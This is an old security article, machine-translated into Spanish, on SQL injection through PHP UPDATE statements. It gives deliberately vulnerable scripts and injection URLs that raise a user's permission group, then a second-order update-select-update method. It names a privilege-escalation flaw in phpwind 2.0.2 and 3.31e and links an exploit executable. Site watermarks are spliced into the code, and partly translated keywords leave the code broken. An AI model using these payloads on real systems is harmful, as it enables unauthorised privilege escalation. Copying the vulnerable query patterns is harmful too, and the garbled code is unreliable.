Autor de este artículo: SuperHei
Naturaleza del artículo: Fecha de publicación original: 2005-08-14
1. Descarga de administración de red del entorno de prueba dl.bitscn.com
Sistema operativo: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
Apache 1.3.33
2. Pruebe la estructura de la base de datos
--base de datos: `prueba`
--
-------------------------------------------------- --------
--
-- Estructura de tabla `userinfo`
--Red de gestión de red www_bitscn_com
CREAR TABLA `userinfo` (
`groudid` varchar(12) NOT NULL valor predeterminado '1',
`usuario` varchar(12) NOT NULL valor predeterminado 'heige',
`pass` varchar(122) NOT NULL valor predeterminado '123456'
) TYPE=MyISAM;Administrador de red u inicio u.bitsCN.com
--
-- Exportar los datos en la tabla `userinfo`
--
INSERTAR EN VALORES `userinfo` ('2', 'heige', '123456')
3. Modo de prueba
1. La variable no contiene '' o "" China Network Management Alliance bitsCN.com
<?php
//test1.php Mod1
$nombredelservidor = "localhost";
$dbusername = "raíz";
$dbcontraseña = "";
$nombrebd = "prueba";
mysql_connect($servername,$dbusername,$dbpassword) o die ("Error en la conexión de la base de datos");Foro de administración de redes de China bbs.bitsCN.com
$sql = "actualizar información de usuario set pass=$p donde usuario='heige'";/ / <--$P no utiliza comillas simples
$resultado = mysql_db_query($nombrebd, $sql);
$userinfo = mysql_fetch_array($resultado);Foro de administración de redes de China bbs.bitsCN.com
echo "<p>Consulta SQL:$sql<p>";
?>
El script solo modifica el paso de usuario = 'heige'. Si groupid representa el nivel de permiso del usuario, nuestro propósito es modificar el groupid construyendo $p, luego enviamos:
http://127.0.0.1/test1.php?p=123456,groudid=1
Consulta en mysql:
mysql> seleccione * de información de usuario;
+---------+-------+--------+
| groudid | usuario | pasar |
+---------+-------+--------+
| 1 | alto |
+---------+-------+--------+
1 fila en conjunto (0,01 segundos)
El grupo de usuario heige se ha cambiado de 2 a 1 :)
Entonces podemos conseguir que la inyección sin '' o ""actualización pueda tener éxito. Este es nuestro modo 1.
2. Variables con '' o ""
<?php
//prueba2.php
$nombredelservidor = "localhost";
$dbusername = "raíz";
$dbcontraseña = "";
$nombrebd = "prueba";
mysql_connect($servername,$dbusername,$dbpassword) o die ("Error en la conexión de la base de datos");
$sql = "actualizar información de usuario set pass='$p' donde usuario='heige'";//<--$P usa comillas simples Foro de administración de redes de China bbs.bitsCN.com
$resultado = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($resultado);Foro de administración de redes bbs_bitsCN_com
echo "<p>Consulta SQL:$sql<p>";
?>
Para cerrar 'Construimos $p debe ser 123456',groudid='2Enviar: Foro de gestión de redes de China bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = En el caso de on, 'se convierte en' y la declaración enviada se convierte en:
Consulta SQL: actualizar información de usuario set pass='123456',groudid='1' donde usuario='heige'
consulta mysql:
mysql> seleccione * de información de usuario;
+---------+-------+--------------------+
| groudid | usuario | pasar |
+---------+-------+--------------------+
| 2 | alto | 123456',groudid='1 |
+---------+-------+--------------------+
1 fila en conjunto (0,00 seg) El
groudid bitscn_com de administración de red no ha sido modificado. Entonces, ¿qué pasa si la variable no se inyecta en absoluto cuando es '' o ""? En cambio, veamos el modo 2:
<?php
//test3.php Mod2
$nombredelservidor = "localhost";
$dbusername = "raíz";
$dbcontraseña = "";
$nombrebd = "prueba";
mysql_connect($servername,$dbusername,$dbpassword) o die ("Error en la conexión de la base de datos");
$sql = "actualizar información de usuario set pass='$p' donde usuario='heige'";//<--$P utiliza comillas simples administrador de redujiau.bitscn@com
$resultado = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //Los datos de $p se escriben en la base de datos.
$sql= "seleccione pasar de información de usuario donde usuario='heige'";
$resultado = mysql_db_query($nombrebd, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //Envía la consulta de paso a $userinfo[0]
$sql ="actualizar userinfo set pass='$userinfo[0]' donde usuario='heige' ";
$resultado = mysql_db_query($nombrebd, $sql);
mysql_fetch_array($resultado); //Actualizar $userinfo[0] nuevamente bitsCN.com
?>
Probémoslo y enviémoslo a: administración de red bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
Volver a la consulta de mysql: foro de administración de red bbs_bitsCN_com
mysql> seleccione * de información de usuario;
+---------+-------+--------+
| groudid | usuario | pasar |
+---------+-------+--------+
| 1 | alto |
+---------+-------+--------+
1 fila en conjunto (0,00 seg)
Jaja~~ Inyectado y modificado con éxito grudid a 1. Este es nuestro modo 2. Una breve descripción es la siguiente:
actualizar --> seleccionar --> actualizar
4. Modo real
Modo 1: Falta
Modo 2:
Análisis
de vulnerabilidad de escalada de privilegios de phpwind 2.0.2 y 3.31e
actualización (la variable de inyección de perfil.php es $proicon, la declaración de actualización es, icon='$userdb[icon]')
↓
seleccionar (jop.php)
↓
updtate (jop.php) Foro de gestión de redes bbs_bitsCN_com
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. Agradecimientos
Un agradecimiento especial a amigos como Saiy por sus discusiones y ayuda. ¡¡Gracias!!